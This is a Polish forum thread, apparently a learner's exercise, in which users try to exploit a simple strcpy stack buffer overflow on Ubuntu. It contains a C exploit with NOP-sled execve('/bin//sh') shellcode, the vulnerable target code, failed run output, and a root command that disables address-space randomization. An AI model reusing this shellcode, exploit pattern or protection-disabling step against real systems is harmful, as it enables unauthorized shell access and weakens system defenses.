Pokaż wyniki 1 do 8 z 8

Temat: Buffer overflow

  1. #1
    Avatar lukasz6547
    lukasz6547 jest offline Ciasno tu:D
    Zarejestrowany
    Apr 2008
    Postów
    348

    Domyślnie Buffer overflow

    mam takiego exploita do najprostszego programu:
    #include<unistd.h>

    #define FILE "/home/lukasz/a"


    char sc[]=


    "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\ x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x9 0\x90\x90\x90"
    "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\ x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x9 0\x90\x90\x90"
    "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\ x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x9 0\x90\x90\x90"
    "\xb0\x0b"
    "\x99"
    "\x52"
    "\x68\x2f\x2f\x73\x68"
    "\x68\x2f\x62\x69\x6e"
    "\x89\xe3"
    "\x52"
    "\x53"
    "\x89\xe1"
    "\xcd\x80"
    ;


    int main(int argc, char *argv)
    {
    char a[22];
    int b;
    int c=0xbffffffa-argv[1];
    for(b=0;b<=20;b+=4)
    a[b]=c;
    a[21]=0x0;
    execl(FILE, a, 0x0);
    return 0; }

    [email protected]:~$ ./exp 50
    Segmentation fault (core dumped)
    [email protected]:~$
    i jak moge sprawdzic za pomocą gdb gdzie program chce skoczyc i okreslic mniej wiecej ile powinienem odjąc...czy da sie w gdb uruchomic exploita i nakierowac na konkretny program...próbuje trafic w konkretny adres i nie daje rady...czy moze robie cos zle?

  2. #2
    Avatar lukasz6547
    lukasz6547 jest offline Ciasno tu:D
    Zarejestrowany
    Apr 2008
    Postów
    348

    Domyślnie

    sorki linicje nie powinno byc execl(FILE, a, 0x0); tylko execl(FILE, "a", a, 0x0); ...problemu to nie rozwiązuje

  3. #3
    Avatar lukasz6547
    lukasz6547 jest offline Ciasno tu:D
    Zarejestrowany
    Apr 2008
    Postów
    348

    Domyślnie

    [email protected]:~$ ./exp 788
    Segmentation fault (core dumped)
    [email protected]:~$ 14
    bash: 14: polecenie nieodnalezione
    [email protected]:~$ ./exp 1111
    Segmentation fault (core dumped)
    [email protected]:~$ ./exp 2000
    [email protected]:~$ ./exp 2001
    Segmentation fault (core dumped)

    Czy w linijce [email protected]:~$ ./exp 2000 uruchomiłem powłokemam system ubuntu 7.10

  4. #4
    Avatar rafal44
    rafal44 jest offline logout
    Zarejestrowany
    Dec 2007
    Postów
    291

    Domyślnie

    Nie uda ci się to tak łatwo. Ubuntu ma jądro z serii 2.6 Nie możesz trafić na adres dal stosu ponieważ kernel losuje adres za każdym uruchomieniem programu. Nazywa się to randomizacja przestrzeni adresowej stosu. Da się to wyłączyć. W terminalu wpisz jako root
    Kod:
    echo 0 > /proc/sys/kernel/randomize_va_space
    Też maiłem taki problem. W nowszych jądrach nawet sterta jest randomizowana.

  5. #5
    Avatar lukasz6547
    lukasz6547 jest offline Ciasno tu:D
    Zarejestrowany
    Apr 2008
    Postów
    348

    Domyślnie

    Zastosowowałem tą opcje ale powłoki sh nie widac a bylo juz wiele prób:

    0x804914a
    Segmentation fault (core dumped)
    [email protected]:~$ ./exp 500
    0x804914a
    Segmentation fault (core dumped)
    [email protected]:~$ ./exp 2000
    0x804914a
    Segmentation fault (core dumped)
    [email protected]:~$ ./exp 100
    0x804914a
    Segmentation fault (core dumped)
    [email protected]:~$ ./exp 5000
    0x804914a
    Segmentation fault (core dumped)
    [email protected]:~$ ./exp 5000
    0x804914a
    Segmentation fault (core dumped)
    [email protected]:~$ ./exp 123
    0x804914a
    Segmentation fault (core dumped)
    [email protected]:~$ ./exp 5000
    0x804914a
    Segmentation fault (core dumped)

    luknijcie na moje kody czy są dobre( te na górze )

  6. #6
    Avatar rafal44
    rafal44 jest offline logout
    Zarejestrowany
    Dec 2007
    Postów
    291

    Domyślnie

    Jeszcze raz podaj kody i napisz na jakim błędzie się opierasz. Najlepiej jakbyś napisał kod atakowanego programu.

  7. #7
    Avatar lukasz6547
    lukasz6547 jest offline Ciasno tu:D
    Zarejestrowany
    Apr 2008
    Postów
    348

    Domyślnie

    int main(int argc, char **argv)
    {
    buf a[ilestam];//jest nadpisywany bufor paroma bajtami
    strcpy(a, argv[1]);
    return 0;
    }
    mniej wiecej taki programik...jest to zwykłe buffer overflow i jest stałe esp

  8. #8
    Avatar rafal44
    rafal44 jest offline logout
    Zarejestrowany
    Dec 2007
    Postów
    291

    Domyślnie

    Jeżeli dobrze pamiętam to kernel wykrywa próbę nadpisania kopii rejestru EIP i przerywa program. Możesz spróbować na jądrach z serii 2.4. Odpal w virtualboxie,nie musisz instalować. Zresztą zobacz jak ja się z tym bawiłem:

    http://forum.ubuntu.pl/showthread.ph...ghlight=adresy

Podobne wątki

  1. bufer overflow
    By matmat0123456789 in forum Hacking
    Odpowiedzi: 23
    Autor: 02-12-2010, 17:50
  2. ping: sendmsg: No buffer space available
    By Sardihan in forum TCP/IP/Analiza/Badanie
    Odpowiedzi: 8
    Autor: 11-08-2007, 19:13

Zasady Postowania

  • Nie możesz zakładać nowych tematów
  • Nie możesz pisać wiadomości
  • Nie możesz dodawać załączników
  • Nie możesz edytować swoich postów
  •  
Subskrybuj

1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52